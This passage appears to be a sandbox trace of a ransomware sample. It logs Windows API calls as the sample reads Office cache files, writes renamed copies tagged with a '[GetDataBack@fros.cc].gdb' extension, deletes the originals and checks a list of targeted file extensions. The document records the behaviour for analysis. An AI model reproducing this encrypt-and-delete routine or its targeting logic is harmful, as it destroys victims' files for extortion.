users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.575] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0114.575] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0114.575] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0114.575] GetLastError () returned 0x0 [0114.575] ReadFile (in: hFile=0x15c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0xc72, lpOverlapped=0x0) returned 1 [0114.576] WriteFile (in: hFile=0x16c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xc80, lpOverlapped=0x0) returned 1 [0114.577] ReadFile (in: hFile=0x15c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0114.577] WriteFile (in: hFile=0x16c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xf0, lpOverlapped=0x0) returned 1 [0114.577] SetEndOfFile (hFile=0x16c) returned 1 [0114.577] CloseHandle (hObject=0x16c) returned 1 [0114.678] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0114.678] SetEndOfFile (hFile=0x15c) returned 1 [0114.678] CloseHandle (hObject=0x15c) returned 1 [0114.679] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0114.679] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0114.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.679] lstrlenW (lpString=".doc") returned 4 [0114.679] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.679] lstrlenW (lpString=".docx") returned 5 [0114.679] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0114.679] lstrlenW (lpString=".pdf") returned 4 [0114.679] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.679] lstrlenW (lpString=".xls") returned 4 [0114.679] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.679] lstrlenW (lpString=".xlsx") returned 5 [0114.679] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0114.679] lstrlenW (lpString=".ppt") returned 4 [0114.679] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.680] lstrlenW (lpString=".zip") returned 4 [0114.680] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.680] lstrlenW (lpString=".rar") returned 4 [0114.680] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.680] lstrlenW (lpString=".bz2") returned 4 [0114.680] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.680] lstrlenW (lpString=".7z") returned 3 [0114.680] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.680] lstrlenW (lpString=".dbf") returned 4 [0114.680] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.680] lstrlenW (lpString=".1cd") returned 4 [0114.680] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.680] lstrlenW (lpString=".jpg") returned 4 [0114.680] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.680] lstrlenW (lpString=".doc") returned 4 [0114.680] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.680] lstrlenW (lpString=".docx") returned 5 [0114.680] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0114.680] lstrlenW (lpString=".pdf") returned 4 [0114.680] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.680] lstrlenW (lpString=".xls") returned 4 [0114.680] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.680] lstrlenW (lpString=".xlsx") returned 5 [0114.680] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0114.680] lstrlenW (lpString=".ppt") returned 4 [0114.680] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.681] lstrlenW (lpString=".zip") returned 4 [0114.681] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.681] lstrlenW (lpString=".rar") returned 4 [0114.681] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.681] lstrlenW (lpString=".bz2") returned 4 [0114.681] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.681] lstrlenW (lpString=".7z") returned 3 [0114.681] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.681] lstrlenW (lpString=".dbf") returned 4 [0114.681] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.681] lstrlenW (lpString=".1cd") returned 4 [0114.681] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0114.681] lstrlenW (lpString=".jpg") returned 4 [0114.681] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.681] Sleep (dwMilliseconds=0x64) [0115.329] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.329] lstrlenW (lpString="Office32MUI.xml") returned 15 [0115.329] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0115.329] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=1383) returned 1 [0115.329] CloseHandle (hObject=0x190) returned 1 [0115.329] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0115.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.330] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0115.330] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0115.330] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0115.330] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.330] GetLastError () returned 0x0 [0115.330] ReadFile (in: hFile=0x190, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x567, lpOverlapped=0x0) returned 1 [0115.337] WriteFile (in: hFile=0x194, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x570, lpOverlapped=0x0) returned 1 [0115.338] ReadFile (in: hFile=0x190, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0115.338] WriteFile (in: hFile=0x194, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xf2, lpOverlapped=0x0) returned 1 [0115.338] SetEndOfFile (hFile=0x194) returned 1 [0115.338] CloseHandle (hObject=0x194) returned 1 [0115.339] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0115.339] SetEndOfFile (hFile=0x190) returned 1 [0115.340] CloseHandle (hObject=0x190) returned 1 [0115.340] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.340] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0115.340] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.340] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.340] lstrlenW (lpString=".doc") returned 4 [0115.340] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.340] lstrlenW (lpString=".docx") returned 5 [0115.340] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.340] lstrlenW (lpString=".pdf") returned 4 [0115.340] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.340] lstrlenW (lpString=".xls") returned 4 [0115.340] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.340] lstrlenW (lpString=".xlsx") returned 5 [0115.340] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.340] lstrlenW (lpString=".ppt") returned 4 [0115.340] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.340] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.340] lstrlenW (lpString=".zip") returned 4 [0115.340] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.340] lstrlenW (lpString=".rar") returned 4 [0115.340] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.340] lstrlenW (lpString=".bz2") returned 4 [0115.340] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.340] lstrlenW (lpString=".7z") returned 3 [0115.340] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.341] lstrlenW (lpString=".dbf") returned 4 [0115.341] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.341] lstrlenW (lpString=".1cd") returned 4 [0115.341] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.341] lstrlenW (lpString=".jpg") returned 4 [0115.341] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.341] lstrlenW (lpString=".doc") returned 4 [0115.341] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.341] lstrlenW (lpString=".docx") returned 5 [0115.341] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.341] lstrlenW (lpString=".pdf") returned 4 [0115.341] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.341] lstrlenW (lpString=".xls") returned 4 [0115.341] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.341] lstrlenW (lpString=".xlsx") returned 5 [0115.341] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.341] lstrlenW (lpString=".ppt") returned 4 [0115.341] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.341] lstrlenW (lpString=".zip") returned 4 [0115.341] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.341] lstrlenW (lpString=".rar") returned 4 [0115.341] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.341] lstrlenW (lpString=".bz2") returned 4 [0115.341] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.341] lstrlenW (lpString=".7z") returned 3 [0115.341] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.341] lstrlenW (lpString=".dbf") returned 4 [0115.341] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.341] lstrlenW (lpString=".1cd") returned 4 [0115.341] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0115.341] lstrlenW (lpString=".jpg") returned 4 [0115.341] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.342] Sleep (dwMilliseconds=0x64) [0115.523] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.523] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0115.523] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0115.807] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=1452) returned 1 [0115.807] CloseHandle (hObject=0x1bc) returned 1 [0115.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0115.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0115.808] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0115.808] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0115.808] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0115.808] GetLastError () returned 0x0 [0115.808] ReadFile (in: hFile=0x1bc, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x5ac, lpOverlapped=0x0) returned 1 [0115.893] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x5b0, lpOverlapped=0x0) returned 1 [0115.894] ReadFile (in: hFile=0x1bc, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0115.894] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xf0, lpOverlapped=0x0) returned 1 [0115.894] SetEndOfFile (hFile=0x1c0) returned 1 [0115.894] CloseHandle (hObject=0x1c0) returned 1 [0115.895] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0115.895] SetEndOfFile (hFile=0x1bc) returned 1 [0115.896] CloseHandle (hObject=0x1bc) returned 1 [0115.896] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.896] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0115.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.896] lstrlenW (lpString=".doc") returned 4 [0115.896] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.896] lstrlenW (lpString=".docx") returned 5 [0115.896] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.896] lstrlenW (lpString=".pdf") returned 4 [0115.896] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.896] lstrlenW (lpString=".xls") returned 4 [0115.896] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.896] lstrlenW (lpString=".xlsx") returned 5 [0115.896] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.896] lstrlenW (lpString=".ppt") returned 4 [0115.896] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.897] lstrlenW (lpString=".zip") returned 4 [0115.897] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.897] lstrlenW (lpString=".rar") returned 4 [0115.897] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.897] lstrlenW (lpString=".bz2") returned 4 [0115.897] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.897] lstrlenW (lpString=".7z") returned 3 [0115.897] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.897] lstrlenW (lpString=".dbf") returned 4 [0115.897] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.897] lstrlenW (lpString=".1cd") returned 4 [0115.897] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.897] lstrlenW (lpString=".jpg") returned 4 [0115.897] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.897] lstrlenW (lpString=".doc") returned 4 [0115.897] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.897] lstrlenW (lpString=".docx") returned 5 [0115.897] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.897] lstrlenW (lpString=".pdf") returned 4 [0115.897] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.897] lstrlenW (lpString=".xls") returned 4 [0115.897] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.897] lstrlenW (lpString=".xlsx") returned 5 [0115.897] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.897] lstrlenW (lpString=".ppt") returned 4 [0115.897] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.897] lstrlenW (lpString=".zip") returned 4 [0115.897] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.897] lstrlenW (lpString=".rar") returned 4 [0115.897] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.898] lstrlenW (lpString=".bz2") returned 4 [0115.898] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.898] lstrlenW (lpString=".7z") returned 3 [0115.898] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.898] lstrlenW (lpString=".dbf") returned 4 [0115.898] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.898] lstrlenW (lpString=".1cd") returned 4 [0115.898] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0115.898] lstrlenW (lpString=".jpg") returned 4 [0115.898] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.898] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.898] lstrlenW (lpString="branding.xml") returned 12 [0115.898] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0115.909] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=596341) returned 1 [0115.909] CloseHandle (hObject=0x19c) returned 1 [0115.909] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: 